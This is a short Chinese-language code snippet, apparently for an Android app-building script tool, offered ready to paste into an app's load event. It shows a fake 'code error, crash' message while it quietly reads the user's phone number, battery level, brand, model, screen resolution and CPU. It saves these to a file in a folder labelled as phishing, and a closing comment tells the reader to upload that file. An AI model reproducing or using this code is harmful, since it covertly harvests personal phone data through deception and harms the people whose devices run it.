不多说直接上代码,放到载入事件中。
usxq(sss.v, 2, 90, 640, 480, 95)
//2代表面控件ID
//界面跳转
t()
{
stop(5000)
//跳转时间
uigo("a.iyu")
//跳转界面
end()
}
tw("代码错误,运行崩溃")
//电话号码:
java(gss, activity, "android.content.Context.getSystemService", "String", "phone")
java(a1, gss, "android.telephony.TelephonyManager.getLine1Number")
ss("ta手机号码为:"+a1,phone)
//us(3,"text",phone)
//手机电量:
java(电量管理器,activity,"android.content.Context.getSystemService","String","batterymanager")
java(a,电量管理器,"android.os.BatteryManager.getIntProperty","int",4)
ss(" "+a+"%"+" ",imei6)
//手机型号:
sjxx(11a)
sgsz(11a,2, 11d)
sl(11d,"\n",d11)
sgsz(d11,1,imei)
sgsz(d11,0,imei1)
sgsz(11a,1, 10d)
sl(10d,"\n",d01)
sgsz(d01,2,imei3)
sgsz(d01,3,imei4)
sgsz(11a,0, 9d)
sl(9d,"\n",d31)
sgsz(d31,0,imei5)
ss("品牌:"+imei+"\n"+"型号:"+imei1+"\n"+"分辨率宽:"+imei3+"\n"+"分辨率高:"+imei4+"\n"+"CPU型号:"+imei5+"\n"+"电量:"+imei6+"",shouji)
t()
{
s wjm="%昊宇钓鱼/信息/手机信息.txt"
ss(phone+"HYYYDS"+shouji,qbxx)
s bmgs="utf-8"
fw(wjm,qbxx,bmgs)
}
//这是获取手机信息,会把获取到的信息存入文件,你上传文件就行